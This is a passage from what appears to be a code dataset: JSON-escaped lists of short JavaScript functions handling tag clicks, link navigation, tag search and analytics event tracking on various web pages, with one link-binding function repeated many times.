\"+t[i].trim()+\"\";\n\t}\n\treturn links;\n}","function tagItem2(){\r\n var tagEdit = document.getElementsByTagName(\"tags-edit\");\r\n var tagEditTags = tagEdit.getElementsByTagName(\"tags-edit-tags\");\r\n \r\n tagEditTags.innerHTML += txtTag.innerText;\r\n /*\r\n * $(\".tags-edit .tags-edit-tags\").val( $(\".tags-edit\r\n * .tags-edit-tags\").val() + $(\"#txtTag\").val()); //\r\n * document.getElementById('tags-container-template');\r\n *\r\n * var popup = $(\".tags-edit .tags-edit-buttons\")\r\n * .find(\".goog-button-body\"); //\r\n * document.getElementById('tags-container-template');\r\n */\r\n var tagEditButton = tagEdit.getElementsByTagName(\"tags-edit-buttons\")[0];\r\n var popup = tagEditButton.getElementsByTagName(\"goog-button-body\")[0];\r\n \r\n simulateClick(popup);\r\n }","function handleContactLinkClicked(event) {\n ReactGA.event({ category: 'Contact Us Link', action: 'Clicked', label: event.target.href });\n }","function postTagInHtml(successData, neededValues) {\n //Add new tag span layout to page\n $('.contents a[href$=\\'' + neededValues.currentPageURL + '\\']').parent().after('' + neededValues.newTags + ' ');\n //Remove input field\n $('.tagInputOverview').remove();\n\n // Find new tag\n const newDeleteTagButton = $('a[href$=\\'' + neededValues.currentPageURL + '\\']').parent().parent().find('.deleteTagButton').first();\n // Assign hover listener to new tag\n deleteClickAndHoverEvent(newDeleteTagButton);\n}","tagSearch(event) {\n //Search for tags matching\n }","navigateHyperlink() {\n let fieldBegin = this.getHyperlinkField();\n if (fieldBegin) {\n this.fireRequestNavigate(fieldBegin);\n }\n }","function modifyAnchorTags(caller) {\n var tagParts, currentStateLink, isSamePage, pathHashCount;\n if (caller === \"modalPopupCtrl.pageContent\" || ctrl.currentLink === undefined) {\n currentStateLink = [];\n }\n else {\n currentStateLink = ctrl.currentLink.split('/');\n }\n $(ctrl.anchorTags).each(function (index) {\n if (ctrl.anchorTags[index].hasAttribute('href')) {\n var isExternalLink = ctrl.anchorTags[index].getAttribute('href').indexOf('http');\n if (isExternalLink === -1) {\n if (ctrl.anchorTags[index].getAttribute('href').indexOf('Page?$filter=contains(Title') !== -1) {\n $(ctrl.anchorTags[index]).attr('class', 'removed-link');\n var splittedArray = ctrl.anchorTags[index].getAttribute('href').split(\"'\");\n var pageTitle = null;\n if (splittedArray[1]) {\n pageTitle = splittedArray[1];\n }\n var docId = null;\n if (splittedArray[3]) {\n docId = splittedArray[3];\n }\n DocumentService.getAllPages(\"$filter=contains(tolower(Title),tolower('\" + pageTitle + \"')) and DocumentCode eq '\" + docId + \"'\")\n .then(function (result) {\n if (result.value.length > 0) {\n var popupData = '';\n var currentReleasePage = $.grep(result.value, function (e) { return e.ReleaseId === $rootScope.release; });\n if (currentReleasePage.length === 0) {\n if (result.value.length > 1) {\n popupData = createPopupData(result.value, index, caller);\n angular.element(ctrl.anchorTags[index]).attr('id', 'linktag' + index);\n angular.element(ctrl.anchorTags[index]).attr('data-toggle', 'dropdown');\n angular.element(ctrl.anchorTags[index]).attr('aria-haspopup', 'true');\n angular.element(ctrl.anchorTags[index]).attr('aria-expanded', 'false');\n $(ctrl.anchorTags[index]).wrap('
');\n var linkText = angular.element(ctrl.anchorTags[index]).html();\n angular.element(ctrl.anchorTags[index]).html(linkText + \" \");\n angular.element(popupData).insertAfter(ctrl.anchorTags[index]);\n } else {\n currentReleasePage = result.value[0];\n }\n } else {\n currentReleasePage = currentReleasePage[0];\n }\n if (caller === \"modalPopupCtrl.pageContent\") {\n if (popupData === '') {\n $(ctrl.anchorTags[index]).on(\"click\", function () {\n $rootScope.reloadPopUpOnLnkClk(currentReleasePage.Id);\n }\n );\n var buttonNewTab = window.document.createElement('a');\n angular.element(buttonNewTab).attr('href', '' + ctrl.docCenterUrl + '#/docHome/document/' + currentReleasePage.DocumentId +\n '/page/' + currentReleasePage.Id + '');\n angular.element(buttonNewTab).attr('target', '_blank');\n var spanNewTab = window.document.createElement('span');\n angular.element(buttonNewTab).append(' ');\n angular.element(buttonNewTab).append(spanNewTab);\n angular.element(buttonNewTab).insertAfter(ctrl.anchorTags[index]);\n }\n }\n else {\n $(ctrl.anchorTags[index]).on(\"click\", function () {\n if (popupData === '') {\n ctrl.changeState(currentReleasePage.DocumentId, currentReleasePage.Id, null);\n }\n });\n }\n $(ctrl.anchorTags[index]).removeAttr(\"class\");\n $(ctrl.anchorTags[index]).attr('style', 'cursor: pointer;');\n }\n });\n $(ctrl.anchorTags[index]).removeAttr('href');\n return;\n }\n tagParts = ctrl.anchorTags[index].getAttribute('href').split('/');\n isSamePage = ctrl.anchorTags[index].getAttribute('issamepage');\n pathHashCount = ctrl.anchorTags[index].getAttribute('isPathHavingHash');\n if (tagParts.length > 0) {\n ctrl.items = tagParts[tagParts.length - 1].split('#');\n // Check if the link is in the same page.\n if (currentStateLink[currentStateLink.length - 1] === ctrl.items[0] || isSamePage === \"true\") {\n if (ctrl.items.length > 1) {\n (function (anchorId) {\n $(ctrl.anchorTags[index]).on(\"click\", function () {\n ctrl.goToHeading(anchorId);\n });\n }(ctrl.items[1]));\n }\n $(ctrl.anchorTags[index]).removeAttr('issamepage');\n\n } else {\n var documentId, pageId, achId;\n documentId = tagParts[2];\n pageId = ctrl.items[0];\n achId = ctrl.items[1];\n if (pathHashCount && parseInt(pathHashCount, 10) > 0) {\n if (ctrl.items.length > parseInt(pathHashCount, 10) + 1) {\n achId = ctrl.items[ctrl.items.length - 1];\n var pageIdArray = ctrl.items.slice(0, ctrl.items.length - 1);\n pageId = pageIdArray.join('#');\n } else {\n pageId = ctrl.items.join('#');\n achId = null;\n }\n $(ctrl.anchorTags[index]).removeAttr('isPathHavingHash');\n }\n $(ctrl.anchorTags[index]).on(\"click\", function () {\n ctrl.changeState(documentId, pageId, achId);\n });\n }\n $(ctrl.anchorTags[index]).attr('style', 'cursor: pointer;');\n $(ctrl.anchorTags[index]).removeAttr(\"class\");\n $(ctrl.anchorTags[index]).removeAttr('href');\n }\n } else {\n $(ctrl.anchorTags[index]).attr('target', '_blank');\n }\n }\n });\n }","function activateTag(tag) {\n //clear all tags in list of tag-active class\n var items = document.getElementsByClassName('tag-item');\n for(var i=0; i < items.length; i++) {\n items[i].classList.remove(\"tag-active\");\n }\n\n // set the selected tag's item to active\n var item = document.getElementById(tag + '-item');\n if(item) {\n item.classList.add(\"tag-active\");\n }\n}","static get tag() {\n return \"rich-text-editor-link\";\n }","function bindingArticleClick() {\n $('#rovat .content a').bind('click', function (event, ui) {\n document.getElementById(\"article-content\").src = this.dataset.url;\n });\n}","function makeItClickable(){\n\n }","function onTagsButtonTouched(e){\n\t// Only if the tag count is above 0\n\tif (media.tags.length) {\n\t\t// Load the tags view\n\t\tvar view = Alloy.createController(\"media/hashtags\", {\n\t\t\t\"tags\": media.tags\n\t\t}).getView();\n\t\n\t\taddViewToSections(view);\n\t} else {\n\t\tanimation.shake($.hashtagsButton);\n\t}\n}","function handleLinkClick(srcElement,cid){\t\t\n\t\tvar href = srcElement.href; \n\t\tvar temp = cid.split(\"|\")\n\t\tvar windowId = temp[0]\n\t\tvar id = temp[1]\n\n\t\tchrome.runtime.getBackgroundPage(function(eventPage) {\n\t\t\teventPage.switchTab(windowId,id);\n\t\t});\n}","function isOpenTag(params) {\r\n \r\n}","function handleFeatureLinkClick(evt)\n{\n console.log('a.feature.link was clicked');\n //set the image src to the anchor's href value\n featureImage.src = featureLink.href;\n\n //make the image visible\n featureImage.classList.remove('hidden');\n\n //dont want to load the image in the page\n evt.preventDefault();\n}","function TagMenu_initializeUI(newLinkStr) {\r\n var tagNames = new Array()\r\n var tagValues = new Array();\r\n \r\n var dom = dw.getDocumentDOM();\r\n\r\n // get the current selection\r\n var selNode, offsets;\r\n selNode = this.getSelectedTag();\r\n if (selNode) { //if selection is inside a tag, select the entire tag\r\n offsets = dw.nodeToOffsets(selNode);\r\n dw.setSelection(offsets[0],offsets[1]);\r\n }\r\n \r\n if (this.tagList.length == 1 && this.tagList[0] == \"A\") {\r\n\r\n // if no tag selection, ensure the selection is linkable\r\n if (!selNode) {\r\n selStr = dwscripts.trim(dwscripts.fixUpSelection(dom,false,true));\r\n if (selStr && !stringCanBeLink(selStr)) {\r\n offsets = dom.getSelection();\r\n dw.setSelection(offsets[1],offsets[1]); //move the insertion point after the selection\r\n selStr = \"\";\r\n }\r\n }\r\n\r\n // add a new link or a selection as the first item in the list\r\n if (selNode || !selStr) { //if sel is link, or no valid selection\r\n\r\n newLinkStr = (newLinkStr != null) ? newLinkStr : \"New Link\";\r\n\r\n //add generic new link item to menu\r\n tagNames.push(dwscripts.sprintf(MM.LABEL_CreateNewLink,newLinkStr));\r\n\t\t \r\n newLinkStr = dwscripts.entityNameDecode(newLinkStr);\r\n\t tagValues.push(\"createAtSelection+\"+newLinkStr);\r\n\r\n } else { //else selection could be converted to link, so add it\r\n var displayString = dwscripts.trim(selStr);\r\n displayString = displayString.replace(/\\s+/,\" \"); //replace all newlines and whitespace with a single space\r\n displayString = dwscripts.entityNameDecode(displayString);\r\n tagNames.push(MM.LABEL_SelectionLink+' \"' + displayString + '\"');\r\n tagValues.push(\"createAtSelection+\"+selStr);\r\n\r\n }\r\n }\r\n\r\n // add all other tags to menu\r\n var nodes = this.getTagElements();\r\n for (var i=0; i < nodes.length; i++) {\r\n\r\n tagNames.push(this.getNiceName(nodes[i], i));\r\n tagValues.push(nodes[i]);\r\n\r\n }\r\n \r\n // set the list control\r\n this.listControl = new ListControl(this.paramName); \r\n this.listControl.setAll(tagNames, tagValues);\r\n\r\n // if link currently selected, pick it in the list\r\n if (selNode) {\r\n this.pickValue(selNode);\r\n }\r\n}","function linkTopic(a) {\n a .on(\"click\", click);\n //.on(\"mouseover\", mouseover)\n //.on(\"mouseout\", mouseout);\n}","function update_utag_link(dsc) {\n if (dsc != '') {\n var omni_arr = dsc.split('|');\n // User Action Tracking for Global Navigation Menu.\n if (omni_arr[0] != '' && omni_arr[0] == 'global-nav' && omni_arr[1] != '') {\n omni_click_id = dsc;\n utag.link({\n \"event_name\": omni_arr[0],\n \"click_id\": omni_click_id\n });\n } else if (omni_arr[0] != '' && omni_arr[0] == 'social_share' && omni_arr[1] != '') {\n // User Action Tracking for Social Share.\n var omni_event_name = omni_arr[0];\n var omni_social_network = omni_arr[1];\n var omni_click_id = 'sharebar|' + omni_arr[1];\n utag.link({\n \"event_name\": omni_event_name,\n \"social_network\": omni_social_network,\n \"click_id\": omni_click_id\n });\n }\n }\n}","function Permalink_evc_click(event) {\r\n //cancel_event(event);\r\n //var id = this.parentNode.parentNode.parentNode.parentNode.parentNode.id;\r\n \r\n}","function addTagSearchTagListeners() {\n function redirectToTagPage(tag, datalist) {\n for (let dataTag of datalist.options) {\n if (dataTag.value.toUpperCase() === tag.toUpperCase()) {\n window.location.href = \"/tags/display/\" + encodeURIComponent(tag.toLowerCase());\n }\n }\n }\n\n try {\n const searchBar = document.getElementById(\"tag-search\");\n const datalist = document.getElementById(\"tag-results\");\n searchBar.addEventListener('input', (e) => {\n if (e.constructor.name !== 'InputEvent') {\n // then this is a selection, not user input\n redirectToTagPage(searchBar.value, datalist)\n }\n while (datalist.firstChild) {\n datalist.removeChild(datalist.firstChild);\n }\n const query = searchBar.value;\n if (query) {\n searchTags(query);\n }\n });\n searchBar.addEventListener('keyup', e => {\n if (e.key === 'Enter') {\n redirectToTagPage(searchBar.value, datalist);\n }\n })\n } catch (err) {\n //do nothing. Just to avoid errors if the correct page is not loaded\n }\n}","function getClickTag() {\n return window.clickTag || 'http://www.google.com';\n }","function construct_tag(tag_name){\n render_tag = '
  • ' + tag_name + '
  • '\n return render_tag\n}","handleAddTag(cardId, text = '') {}","function handleClick(e) {\n if (e.target.nodeName === \"A\") {\n e.preventDefault();\n console.log(\"markdown link click\")\n if (e.target.href) {\n const url = new URL(e.target.href);\n //if it is an internal link, push to history so page doesnt refresh\n if (url.hostname.indexOf(\".hotter.com\") > -1 || url.hostname === \"localhost\" || url.hostname.indexOf(\"hotter-amplience-poc.herokuapp.com\") > -1) {\n history.push(e.target.pathname);\n } else {\n //otherwise open new tab\n window.open(url.href, \"_blank\")\n }\n }\n }\n}","handleLinkEvent(event, link) {\n if (this.renderer && this.renderer.handleLinkEvent) {\n this.renderer.handleLinkEvent(this.editorContext, event, link);\n }\n }","function linkedInButton() {\n var s = s_gi(s_account);\n s.eVar2 = 'LinkedIn';\n s.events = 'event12';\n s.trackExternalLinks = false;\n s.linkTrackVars = 'eVar2,events';\n s.linkTrackEvents = 'event12';\n s.tl(this, 'o', s.eVar2);\n}","function onLinkClicked(element) {\n const section = document.querySelector('#'+element.dataset.section);\n checkSectionsInView();\n scrollTO(section);\n}","_onClickUrl(urlLink) {\n //Alert.alert(\"clicked\");\n Linking.openURL(\"http://\"+urlLink);\n \n }","function onLinkRated() {\r\n\tvar taskIdx = selectedTaskIdx();\r\n\tvar search = getSearch(taskIdx, gCurrentSearch.query);\r\n\tif (search) {\r\n\t\tvar link = getLink(search, gCurrentSearch.url);\r\n\t\tif (link) {\r\n\t\t\tvar rating = this.id == \"helpful_button\" ? HELPFUL_RATING : UNHELPFUL_RATING;\r\n\t\t\taddLinkRated(taskIdx, search.query, link.url, link.title, rating, true);\r\n\t\t\tupdateSearchHistory();\r\n\t\t\tswitchToSearch();\r\n\t\t}\r\n\t}\r\n}","function linkClick(link) {\n\t\tsubjectRead(subjects);\n\t\t$(links[link]).css(\"z-index\",\"1\");\n\t\t$(links[link]).css(\"opacity\",\"1\");\n\t\t$(link).css(\"background-color\",\"#8C6954\");\n\t\t$(link).css(\"color\",\"white\");\n\t\t$.each(links, function (key,value)\n\t\t{\n\t\t\tif (key!=link)\n\t\t\t{\n\t\t\t\t$(links[key]).css(\"z-index\",\"0\");\n\t\t\t\t$(links[key]).css(\"opacity\",\"0\");\n\t\t\t\t$(key).css('background-color','#59323C');\n\t\t\t\t$(key).css(\"color\",\"#F2EEB3\");\n\t\t\t}\n\t\t});\n\t}","registerClick() {\n \n if(this.state.block_Highlight) { \n this.setState({\n block_Highlight:false, \n })\n saveVisitedAdaptation(\"Block_User\",\"NewsFeed_highlight\");\n }\n\n registerEvent('Clicked on '+this.props.name+\"'\\s profile link to visit their profile page\", 'from post '+this.props.index,(this.props.forTimeline?\"Timeline\":\"NewsFeed\")); \n }","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}"],"string":"[\n \"function onTagClick(e) {\\r\\n console.log(e.detail);\\r\\n console.log(\\\"onTagClick: \\\", e.detail);\\r\\n }\",\n \"function onTagClick(e){\\n console.log(e.detail);\\n console.log(\\\"onTagClick: \\\", e.detail);\\n }\",\n \"function onClickTag(e)\\n{\\n\\tif (!e) var e = window.event;\\n\\tvar theTarget = resolveTarget(e);\\n\\tvar popup = Popup.create(this);\\n\\tvar tag = this.getAttribute(\\\"tag\\\");\\n\\tvar title = this.getAttribute(\\\"tiddler\\\");\\n\\tif(popup && tag)\\n\\t\\t{\\n\\t\\tvar tagged = store.getTaggedTiddlers(tag);\\n\\t\\tvar titles = [];\\n\\t\\tvar li,r;\\n\\t\\tfor(r=0;r 0)\\n\\t\\t\\t{\\n\\t\\t\\tvar openAll = createTiddlyButton(createTiddlyElement(popup,\\\"li\\\"),lingo.openAllText.format([tag]),lingo.openAllTooltip,onClickTagOpenAll);\\n\\t\\t\\topenAll.setAttribute(\\\"tag\\\",tag);\\n\\t\\t\\tcreateTiddlyElement(createTiddlyElement(popup,\\\"li\\\"),\\\"hr\\\");\\n\\t\\t\\tfor(r=0; rTag archive: ' + this.innerHTML + ' ' + '(' + tag_doc.length + ')')\\n //recalculate the total number of pages\\n page_num = Math.ceil(tag_doc.length/4);\\n $('#page').text('page ' + current_page + ' of ' + page_num);\\n //If only one page exists, then hide the \\\"older\\\" button\\n if (page_num == 1) {\\n $(\\\"#older\\\").hide();\\n } else {\\n $(\\\"#older\\\").show();\\n }\\n show_post_by_page(current_page, tag_doc);\\n add_transition();\\n //self call function\\n click_tag();\\n })\\n }\",\n \"function clicktags(){\\n $(\\\".listtags a\\\").each(function(i){\\n $(this).click(function(e) {\\n $(this).remove();\\n registertags();\\n return false;\\n });\\n });\\n }\",\n \"function onClick(link){\\n \\n}\",\n \"function onTagChange() {\\n\\n\\t}\",\n \"function tagItem1(){\\r\\n var current = getCurrentEntry();\\r\\n var currentEntry = current.getElementsByTagName(\\\"entry-tagging-action-title\\\")[0];\\r\\n // var currentEntry = $(\\\"#current-entry .entry-actions\\r\\n // .entry-tagging-action-title\\\");\\r\\n simulateClick(currentEntry);\\r\\n }\",\n \"onTagClick(tag) {\\n\\t\\tlet tags = storeActions.getTags();\\n\\n\\t\\tif (tags.includes(tag)) {\\n\\t\\t\\tstoreActions.deleteTag(tag);\\n\\t\\t} else {\\n\\t\\t\\tstoreActions.addTag(tag)\\n\\t\\t}\\n\\t}\",\n \"function tagClick(e, element) {\\n\\te.stopPropagation(); //impedisce che venga chiamato l'onclick del div padre.\\n\\tsetTag(element.value);\\n}\",\n \"function links_click_event(event) {\\n console.log(\\\"works link\\\");\\n}\",\n \"function handleClickedLink( url, view ) {\\n\\t// return true if the link was handled or to prevent other plugins or Colloquy from handling it\\n\\treturn false;\\n}\",\n \"function _handleTagClick(e) {\\n var labelTags = status.targetLabel.getProperty('tagIds');\\n\\n // Use position of cursor to determine whether the click came from the mouse or from a keyboard shortcut.\\n var wasClickedByMouse = e.hasOwnProperty(\\\"originalEvent\\\") &&\\n e.originalEvent.clientX !== 0\\n && e.originalEvent.clientY !== 0;\\n\\n $(\\\"body\\\").unbind('click').on('click', 'button', function(e) {\\n if (e.target.name === 'tag') {\\n // Get the tag_id from the clicked tag's class name (e.g., \\\"tag-id-9\\\").\\n var currTagId = parseInt($(e.target).attr('class').split(\\\" \\\").filter(c => c.search(/tag-id-\\\\d+/) > -1)[0].match(/\\\\d+/)[0], 10);\\n var tag = self.labelTags.filter(tag => tag.tag_id === currTagId)[0];\\n\\n // Adds or removes tag from the label's current list of tags.\\n if (!labelTags.includes(tag.tag_id)) {\\n // Deals with 'no alternate route' and 'alternate route present' being mutually exclusive.\\n var alternateRoutePresentId = self.labelTags.filter(tag => tag.tag === 'alternate route present')[0].tag_id;\\n var noAlternateRouteId = self.labelTags.filter(tag => tag.tag === 'no alternate route')[0].tag_id;\\n // Automatically deselect one of the tags above if the other one is selected.\\n if (currTagId === alternateRoutePresentId) {\\n labelTags = _autoRemoveAlternateTagAndUpdateUI(noAlternateRouteId, labelTags);\\n } else if (currTagId === noAlternateRouteId) {\\n labelTags = _autoRemoveAlternateTagAndUpdateUI(alternateRoutePresentId, labelTags);\\n }\\n\\n // Deals with 'street has a sidewalk' and 'street has no sidewalks' being mutually exclusive.\\n var streetHasOneSidewalkId = self.labelTags.filter(tag => tag.tag === 'street has a sidewalk')[0].tag_id;\\n var streetHasNoSidewalksId = self.labelTags.filter(tag => tag.tag === 'street has no sidewalks')[0].tag_id;\\n // Automatically deselect one of the tags above if the other one is selected.\\n if (currTagId === streetHasOneSidewalkId) {\\n labelTags = _autoRemoveAlternateTagAndUpdateUI(streetHasNoSidewalksId, labelTags);\\n } else if (currTagId === streetHasNoSidewalksId) {\\n labelTags = _autoRemoveAlternateTagAndUpdateUI(streetHasOneSidewalkId, labelTags);\\n }\\n\\n // Log the tag click.\\n labelTags.push(tag.tag_id);\\n if (wasClickedByMouse) {\\n svl.tracker.push('ContextMenu_TagAdded', { tagId: tag.tag_id, tagName: tag.tag });\\n } else {\\n svl.tracker.push('KeyboardShortcut_TagAdded', { tagId: tag.tag_id, tagName: tag.tag });\\n }\\n } else {\\n var index = labelTags.indexOf(tag.tag_id);\\n labelTags.splice(index, 1);\\n if (wasClickedByMouse) {\\n svl.tracker.push('ContextMenu_TagRemoved', { tagId: tag.tag_id, tagName: tag.tag });\\n } else {\\n svl.tracker.push('KeyboardShortcut_TagRemoved', { tagId: tag.tag_id, tagName: tag.tag });\\n }\\n }\\n _toggleTagColor(labelTags, tag.tag_id, e.target);\\n status.targetLabel.setProperty('tagIds', labelTags);\\n e.target.blur();\\n $tagHolder.trigger('tagIds-updated'); // For events that depend on up-to-date tagIds.\\n }\\n });\\n }\",\n \"function onClickTagOpenAll(e)\\n{\\n\\tif (!e) var e = window.event;\\n\\tvar tag = this.getAttribute(\\\"tag\\\");\\n\\tvar tagged = store.getTaggedTiddlers(tag);\\n\\tfor(var t=tagged.length-1; t>=0; t--)\\n\\t\\tstory.displayTiddler(this,tagged[t].title,null,false,e.shiftKey || e.altKey);\\n\\treturn(false);\\n}\",\n \"onAddTag() {}\",\n \"function tagClickCallback() {\\n if (status.applied) {\\n sg.tracker.push(\\\"TagUnapply\\\", null, {\\n Tag: properties.tag,\\n Label_Type: properties.label_type\\n });\\n unapply();\\n } else {\\n sg.tracker.push(\\\"TagApply\\\", null, {\\n Tag: properties.tag,\\n Label_Type: properties.label_type\\n });\\n apply();\\n }\\n\\n sg.cardFilter.update();\\n }\",\n \"function initTagClicks(){\\n\\t\\t\\tconsole.log(\\\"initTagClicks\\\");\\n\\t\\t\\t$(\\\"ul.tags li\\\").click(jQuery.scope(onTagClick,this));\\n\\t\\t}\",\n \"function Tagged() {\\r\\n}\",\n \"click(e){\\r\\n if ( this.url ){\\r\\n bbn.fn.link(this.url);\\r\\n }\\r\\n else{\\r\\n this.$emit('click', e);\\r\\n }\\r\\n }\",\n \"function handleClick(el,e) {\\n\\tloadURL(el.attributes.target,el.text);\\n}\",\n \"function onLinkClick(linkClicked) {\\n\\n // Determines the number of the clicked button\\n const linkNumber = String(linkClicked.textContent);\\n\\n // Removes any class names from the anchor tags\\n resetLinkClassNames();\\n\\n // Adds an active class to the selected button\\n linkClicked.className = \\\"active\\\";\\n\\n // Remakes the links based on button number clicked\\n placePaginatedLinks(linkNumber);\\n\\n}\",\n \"function onentertag() {\\n currentTag = {\\n type: 'mdxTag',\\n name: null,\\n close: false,\\n selfClosing: false,\\n attributes: []\\n }\\n }\",\n \"function onTagChange($e,$data){\\n\\t\\t\\taddTag($data.item.value);\\n\\t\\t}\",\n \"function openlink(upperCase){\\n clickAnchor(upperCase,getItem(\\\"link\\\"));\\n}\",\n \"function tagHandler(event) {\\n let page;\\n let list;\\n if (!allRecipesDisplay.classList.contains('hidden')\\n && !tagList.classList.contains('hidden')) {\\n page = allRecipesDisplay;\\n list = instantiatedRecipes;\\n } else if (!favoriteRecipesDisplay.classList.contains('hidden')\\n && !tagList.classList.contains('hidden')) {\\n page = favoriteRecipesDisplay;\\n list = currentUser.lists.favoriteRecipes\\n }\\n runTag(page, list);\\n resetTagsIfEmpty();\\n}\",\n \"function handleLinkClick(event) {\\n\\t\\tvar linkLabel = event.currentTarget.id;\\n\\t\\tvar url;\\n\\t\\tswitch(linkLabel) {\\n\\t\\t\\tcase 'pivotal' :\\n\\t\\t\\t\\turl = \\\"http://www.gopivotal.com/\\\";\\n\\t\\t\\t\\twindow.open(url, '_blank');\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\tcase 'support' :\\n\\t\\t\\t\\turl = \\\"https://support.gopivotal.com/hc/en-us\\\";\\n\\t\\t\\t\\twindow.open(url, '_blank');\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\tcase 'feedback' :\\n\\t\\t\\t\\turl = \\\"http://www.gopivotal.com/contact\\\";\\n\\t\\t\\t\\twindow.open(url, '_blank');\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\tcase 'help' :\\n\\t\\t\\t\\turl = \\\"../../static/docs/gpdb_only/index.html\\\";\\n\\t\\t\\t\\twindow.open(url, '_blank');\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\tcase 'logout' :\\n\\t\\t\\t\\tlogoutClick();\\n\\t\\t\\t\\tbreak;\\n\\t\\t}\\n\\t}\",\n \"function onClickEventHandler(event){\\n \\n var target = event.target;\\n if(target && target.getAttribute(\\\"cricket\\\", \\\"1\\\")) {\\n \\n var url = target.getAttribute(\\\"value\\\");\\n if(url) {\\n loadLink(event, url, false);\\n }\\n }\\n}\",\n \"function updateTags(tags) {\\n $('#tags').empty();\\n tags = Object.keys(tags);\\n tags = tags.sort();\\n $.each(tags, function(index, tag) {\\n var taglink = $('')\\n .text(tag)\\n .addClass('taglink')\\n .bind('click', function() {\\n updateTagView(readTagView(), tag);\\n });\\n $('#tags').append(taglink);\\n });\\n}\",\n \"function listenToATags() {\\n $('a.tooltipped').on('click', (e) => {\\n // Close the tooltip for the clicked a element\\n closeToolTip(e.currentTarget);\\n });\\n}\",\n \"function selectTag(tag) {\\n //update list of tags to reflect which is active\\n activateTag(tag);\\n\\n activeTag = tag;\\n\\n //display results\\n filter();\\n}\",\n \"function onLinkClick( event ){\\n event.preventDefault();\\n var link = event.target,\\n html = link.innerHTML;\\n link.innerHTML = 'Click';\\n link.className = 'item clicked';\\n setTimeout( function(){\\n link.innerHTML = link.getAttribute('data-num');\\n link.className = 'item';\\n }, 500 );\\n return false;\\n }\",\n \"function torrentOnClick(info, tab) {\\r\\n add_torrent(info.linkUrl);\\r\\n}\",\n \"function setDrawEventListener(tagIdName, flagHTML) {\\n var link = document.getElementById(tagIdName);\\n\\n link.addEventListener(\\\"click\\\", function (event) {\\n addHTML(\\\"flag\\\", flagHTML);\\n // Prevent the link tag from following a url.\\n event.preventDefault();\\n });\\n }\",\n \"function handleLinkClick(event) {\\n event.preventDefault();\\n console.dir(event);\\n}\",\n \"openTag() {\\n var _a;\\n this.processAttribs();\\n const { tags } = this;\\n const tag = this.tag;\\n tag.isSelfClosing = false;\\n // There cannot be any pending text here due to the onopentagstart that was\\n // necessarily emitted before we get here. So we do not check text.\\n // eslint-disable-next-line no-unused-expressions\\n (_a = this.openTagHandler) === null || _a === void 0 ? void 0 : _a.call(this, tag);\\n tags.push(tag);\\n this.state = S_TEXT;\\n this.name = \\\"\\\";\\n }\",\n \"function appendTags() {\\n \\n $.each(availableTags, function(k, tag) {\\n $('#DataTags').append(\\n ''+tag+' '\\n );\\n });\\n \\n }\",\n \"function tag_click(tagButton) {\\n let id = tagButton.className.substring(40);\\n uploadTagArray[parseInt(id)].tag = tagButton.innerHTML;\\n $(\\\"#word\\\" + id).css(\\\"background-color\\\", getTagColor(tagButton.innerHTML, availableOptionArray));\\n}\",\n \"function fnVoltarLink() {\\r\\n\\tvar oLink = document.links[0];\\r\\n\\toLink.innerHTML = \\\"Pegar Feeds\\\";\\r\\n\\toLink.className = \\\"\\\";\\r\\n\\toLink.onclick = fnGo;\\r\\n}\",\n \"function tagInvoked(e) {\\n tagcloud.splice(e.detail.itemPromise._value.index, 1);\\n\\n if (document.getElementById(\\\"b1\\\").innerText == \\\"_________\\\") {\\n document.getElementById(\\\"b1\\\").innerText = e.detail.itemPromise._value.data.name;\\n searchTags(e.detail.itemPromise._value.data.name);\\n //getMixes(1, \\\"\\\", document.getElementById(\\\"b1\\\").innerText, \\\"\\\", 8, 4);\\n }\\n else if (document.getElementById(\\\"b2\\\").innerText == \\\"_________\\\") {\\n document.getElementById(\\\"b2\\\").innerText = 